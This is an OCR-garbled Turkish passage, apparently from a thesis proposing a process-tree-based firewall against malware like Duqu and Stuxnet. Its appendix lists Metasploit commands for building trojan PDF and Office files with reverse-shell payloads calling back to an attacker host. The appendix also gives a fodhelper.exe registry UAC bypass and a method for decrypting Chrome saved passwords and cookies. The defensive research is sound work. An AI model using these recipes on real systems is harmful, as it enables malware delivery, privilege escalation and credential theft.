yazilim, tarayici iizerinde degisikli yaparak verilerin tarayici lizerinden gonderilmesini
saglayabilir. Tarayici, 80 portu iizerinden tiim alan adlarina agik oldugu i¢in giivenlik yazilimi
bu konuda eksik kalacaktir. Bu problemi agmak i¢in sistemde yer alan programlarin belli klasor
yapilari i¢ine erismelerinin kisitlanmasi gerekmektedir. Onerilen giivenlik yazilimmin daha iyi
hale gelmesi i¢in internet baglant1 istekleri i¢in kullanilan beyaz liste teknigi, bilgisayarda yer

alan uygulamalarin bilgisayar i¢indeki klasor yapilarina erigim istekleri i¢in de kullanilabilir.

Sistemlere yapilan izinsiz girislerin 6niine gegmek icin potansiyel sisteme sizma yontemlerinin
tamami gozden gecirilmeli, USB cihazlar1 dogrudan sisteme baglanmamali, PDF veya
Microsoft Office dosyalari yetkisi azaltilmis goriintiileme araglari ile goriintiilenmelidir. Viriis
taramalar1 yapilmalidir. En etkili sisteme sizinti azaltma ydntemi, sirketteki c¢alisanlar

bilgilendirmek ve diizenli siber saldir1 tatbikat1 yapmaktir.

Tim bu Onlemlere ragmen sisteme zararhh yazilimin sizintist kagmilmaz oldugu
varsayllmaktadir. Ayrica zararli yazilimin sisteme sizintisindan kaynakli olarak zarar goriilmesi

kacinilmazdir.

Duqu zararh yazilimi, sistem programlarinin i¢ine sizarak tespit edilmeyi en aza indirmektedir.
Sistem programlar1 i¢in olusturulan beyaz liste ve islem agaci parametreleri, Duqu’nun
caligmasini engelleyebilir fakat Duqu, Google Chrome gibi tiim internete erisim izni verilen bir
uygulamaya sizarak caligsaydi onerilen giivenlik sistemi iglevsiz kalirdi. Bu problemi ¢6zmek
i¢cin beyaz liste uygulanamayan programlarin diizenli dijital imzalarinin kontrolii saglanabilir.
Ayrica beyaz liste uygulanamayan programlarin sanal makine gibi izole ortamlarda ¢alismasi,

giivenligi arttiracak unsurlardandir.

Duqu, giivenlik yazilimlarinin servislerini aramakta ve kodu bu servislere enjekte etmektedir.
Bu tip saldirilara kars1 bu yazida 6nerilen glivenlik yaziliminin savunmasi bulunmamakta. Cok

bicimli giivenlik yazilimi servisleri, bu saldirilar1 6nlemekte kullanilabilir. Servis yaziliminin
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kodu ve ad1 diizenli olarak degisirse zararl1 yazilim tarafindan ele ge¢irilmesi engellenebilir. Bu

ozellik tipki ¢ok bigimli virtisler gibi hazirlanabilir.

Onerilen giivenlik sistemi, drnek APT saldir1 senaryosunun engellenmesini saglamis, verilerin
disar1 gonderilmesini engellemistir. Internet iizerinden StuxNet yazilimi1 bulunmus ve sanal
ortamda giivenli yazilim ile beraber ¢alistirilmistir. StuxNet yazilimi Isass.exe isimli bir dosya
calistirmis fakat normal kosullarda winlogon.exe lizerinden c¢alismasi gereken program,
services.exe tetikleyicisi ile ¢alismakta oldugu i¢in bilinmeyen islem agacinin tespiti sayesinde

Onerilen gilivenli yazilim ile tespit edilip baglantisi engellenmistir.

3 Isass.exe - -145
PID: 3912
Parent PID: 644 -> services.exe
Path: C:\WINDOWS\system32
Arguments: C:\WINDOWS\\system32\\sass.exe
Start Time: 2019-07-17 16:13:39
Username: NT AUTHORITY\SYSTEM
SecurityID: S-1-5-18
-J-Isass.exe - 100
PID: 656
Parent PID: 600 -> winlogon.exe
Path: C:\WINDOWS\system32
Arguments: C:\WINDOWS\system32\/sass.exe
Start Time: 2019-07-16 19:19:54
Username: NT AUTHORITY\SYSTEM
SecurityID: S-1-5-18

Sekil 5.1: winlogon.exe Ile Tetiklenen Isass.exe, Ger¢ek Yazilimken; services.exe ile Calisan Isass.exe
Zararli Yazilim Arasindaki Fark

Isletim sistemine bagl servislerin hangi uzak sunuculari kullandig1 net olarak bilinmeli,
boylede beyaz liste kurallar isletim sistemi uygulamalar1 i¢in de kesin olarak eklenmelidir.
Boylece Duqu gibi zararli yazilimlarin igletim sistemine dahil servisler iizerinden bile olsa veri

transfer istekleri engellenebilecektir.

Yukaridaki sekilde goriildiigii gibi StuxNet zararli yazilimi, normalde winlogon.exe ile
tetiklenen Isass.exe isimli uygulama ile ayni isimli ve konumlu bagka bir uygulamanin
baslatilmasini saglamakta. Aradaki arki zararli yazilimin services.exe ile tetiklendigini gorerek

anlayabiliriz.

Asagida Windows 10 iizerinde ¢alisan programda sol tarafta uygulamanin adina gore giden

baglantilarin listelendigi bir liste ve sag tarafta tetik agacini1 gérmektesiniz.
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Standart Firewall: Llygulama Badlantilan Onerilen Firewall: Lygulama Tetik AJacina Gore Baglantilar

[#- svchost [1004] = services [704]
[#- System [4] - gvchost [1004]
[#- svchost [376] - gvchost [376]
[#- svchost [1704] - gychost [1704]
- Isass [736] - gvchost [1238]
[ wirinit [604] - gvchost [1724]
[#- svchost [1288] - gpoolsy [2476]
[#- swchost [1724] - gvchost [2660]
[#- spoolsv [2476] - nvcontainer [3268]
[#- svchost [2660] - gychost [26448]
[+ services [704] - gvchost [2536]
[#- nvcontainer [3268] - System [4]
- NVIDIA Web Helper [5408] - wininit [604]
- svchost [2648) .. Isass [736]
=) ServiceHub SettingsHost [2488] - NVIDIA Web Helper [5408]

.. 40.84.185.67-9354 [=1- explorer [5240]
- Service Hub SettingsHost [3960] r:‘, devenv [6312]

.. 40.84.185.67-9354 i - Microsoft. Service Hub Controller [4128]
- chrome [3704] ¢ | i ServiceHub.SettingsHost [2488]
- PefWatson2 [5438] © ' PerfWatson2 [5488]
- Idle [0] = deveny [3440]
- svchost [2536] | - Microsoft. Service Hub Cantroller [5832]

‘... Service Hub.SettingsHost [3960]
- chrome [1044]
.. Idle [0]

Sekil 5.2 Sol tarafta standart firewall uygulamasinin uygulama adi bazinda ip adreslerini listeledigi
goriilmekte. Sag tarafta ise onerilen sistemin islemlerin tetik agacini ¢ikarttigr goriilmekte. Firewall

Kurallar1 bu agaca gore uygulanmalidir.

Firewall kurallari, uygulama adi yerine uygulama tetik agacina gore calistifinda zararh
yazilimlar ile tetiklenen uygulamalar daha kolay fark edilmekte ve engellenmektedir. StuxNet
zararl yaziliminin bulastig1 sistemlerdeki firewall yapis1 bu tetik agacina gore ¢alistigt zaman

zararli yazlimin gelen ve giden ag baglantisi engellenebilmektedir.

Tetik agaci sayesinde bilinmeyen tetiklenmeler ile zararli yazilim tarafindan kurulmak istenen

baglantilar daha etkili bir sekilde engellenebilmektedir.
Sifir giin agiklarinin verecegi hasari en aza indirebilmek i¢in bulunan en gecerli yontemler:

e Uygulamalarin tetik agaci tizerinden firewall kurallar1 uygulanmasi

e @Gilivenlik yaziliminin ¢ok bi¢imli olmasi ve kod enjeksiyonunun 6niine gegilmesi
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EKLER

PDF TRUVA ATI OLUSTURMA
2010 yilinda ¢ikan ve Windows XP isletim sistemine sahip bilgisayarlarda PDF belgesi
kullanarak viriis bulastirmak miimkiindii. Metasploit kullanarak PDF belgesine yiik (payload)

eklemek i¢in gerekli terminal komutlar su sekildedir:

e msfconsole (metasploit programina giris igin)

e use exploit/windows/fileformat/adobe utilprintf
e set FILENAME dosyaAdi.pdf

e set PAYLOAD windows/exec

e set CMD calc.exe

e show options

e exploit (bu komuttan sonra zararli PDF belgesi olusturulmaktadir.)

Bir bagka Windows XP isletim sistemine sahip bilgisayarlarda kullanilan Truva atina sahip PDF

belgesi olusturmak i¢in gerekli kodlar su sekildedir:

e use exploit/windows/fileformat/adobe pdf embedded exe
e set payload windows/meterpreter/reverse tcp

e set INFILENAME girdi.pdf

e set FILENAME cikti.pdf

e set LHOST 192.168.100.1 (uzak sunucu IP adresi)

e set LPORT 4444 (uzak sunucu portu)

e show options

e exploit

Windows 7 sistemlerde ¢aligsabilen ve Truva at1 igeren PDF belgesi olusturmak i¢in metasploit

komut satir1 kodlar1 asagida verilmistir:

e use exploit/windows/fileformat/adobe pdf embedded exe nojs
e set payload windows/meterpreter/reverse tcp

e set filename Important Meeting_Notice.pdf

e setlhost 192.168.8.92
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e setIport 443

e exploit

SettingContent-ms uzantili dosyalarin PDF ve Microsoft Office dosyalarma eklenmesi ile
Windows 10 isletim sistemine sahip bilgisayarlara Truva at1 bulastirilabilmektedir.
SettingContent-ms dosyasi i¢indeki “DeepLink™ etiketleri igerisine calistirilacak terminal betigi

eklenir. Dosya olusturulduktan sonra asagidaki kod ile PDF belgesine eklenebilir.

e python addjstopdf.py-j "this.ExportDataObject ({cName: \"malicius.Settingcontent-
ms\", NLaunch: 2});" Poc.pdf PocJS.pdf

e pdftk PocJS.pdf attach file malicius.settingcontent-ms output PocFinal.pdf

MICROSOFT OFFICE DOSYASI TRUVA ATI OLUSTURMA

Benzer sekilde Microsoft Office programi iizerinde calisan belgelere de yiik (payload)
eklenebilmektedir. Office 2016 iizerinde ¢alisan ve docx uzantili zararh yazilim i¢ceren dosyalar
bu sekilde fiiretilebilmektedir. Office belgelerinde bulunan visual basic makro kodlar
kullanilmakta, zararli yazilim base64 ile sifrelenerek saklanmaktadir. Bu agiktan etkilenmemek

icin makrolar1 varsayilan olarak devre dig1 birakmak gerekmektedir.

e use exploit/multi/fileformat/office word macro
e set payload windows/meterpreter/reverse tcp

e set LHOST 192.168.0.10 (saldirgan IP adresi)

e set LPORT 443 (saldirganin portu)

e cxploit

2017 yilinda Windows 10 sistemlerde Microsoft Office 2016 programinda calisan ve zararlh
yazilimin rft uzantili dosya igerisine eklenip ¢alistirilmasini saglayan agik bulunmustur. Agik
kodu CVE-2017-0199 olarak ge¢mektedir. Giincel Windows Defender anti viriis yazilimi, bu

acik ile tiretilmis rtf uzantili dosyalari tespit edebilmektedir.

YURUTULEBILIR DOSYA ICINE VIRUS EKLEME
Baz1 viriisler yiiriitiilebilir exe uzantili dosyalarin igerisine eklenmektedir. Exe uzantili dosyaya

baska bir exe uzantili dosya saklamak icin shellter.exe programi kullanilabilmektedir.
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Giivenli yazilimi gelistirmek i¢in kullanilan kiitiiphaneler ve kodlar WindowsFirewallHelper,

ProcessHacker, Volatility Framework projeleridir.

1ZiNSiZ YETKI YUKSELTME

Windows 10 isgletim sisteminde izinsiz yetki yiikseltmek icin bir yontem olarak fodhelper.exe
kullanilmakta. Bu dosya, ayarlar dosyasi1 tiklandiginda calistirilmakta ve otomatik olarak
yiikseltilmis yetki almaktadir. Bu dosya ¢alistirilirken kayit anahtarlar1 icerisinde bir degeri
okumakta ve bu degerde bir dosya adresi verilmisse, ayarlar ara yiizii agilirken verilen

konumdaki dosyay1 da yiikseltilmis yetkide agmaktadir. Bahsi gegen kayit anahtar1 konumu:
e HKEY CURRENT USER, Software\Classes\ms-settings\shell\open\command
Bu konum igerisinde iki adet anahtar eklenmesi gerekiyor.

e DelegateExecute (anahtar degeri olmayacak)

e (bos anahtar ismi), deger olarak: ¢aligtirilmak istenen dosya konumu

Bu islemi yaptiktan sonra fodhelper.exe calistirildiginda bos anahtar ismi ile deger olarak

girilen dosya konumundaki program, yiikseltilmis yetki alarak ¢caligmaktadir.

WINDOWS KULLANICI KiMLIiK BILGILERI iLE SIFRELENMIS DATA BLOB
VERISINI COZME

Bu islemi gerceklestirebilmek i¢in kullanici hesabr ile giris yapilmis olmast ve yiikseltilmis
yetkilerin alinmasi1 yeterlidir. Kullanicinin parolasin1 bilmeye gerek yoktur. Data Blob
yapisinda sifrelenmis veriyi ¢6zmek i¢in kullanilir. Bu yap1, Google Chrome kayith kullanici
parolalar1 ve tarayici ¢erez verilerini gizlemekte kullanilmistir. Sifreyi s6zmek i¢in Crpyt32.dll
dosyasina sistem ¢agris1 yapilarak “CryptUnprotectData” fonksiyonu kullanilir. Parametre
olarak Data Blob verisi girilir. Karnel32.dll dosyasina sistem ¢agris1 yapilir ve “LocalFree”

fonksiyonu kullanilarak “Byte Array” veri yapisinda sifreli veri ¢6ziilmiis olarak elde edilir.
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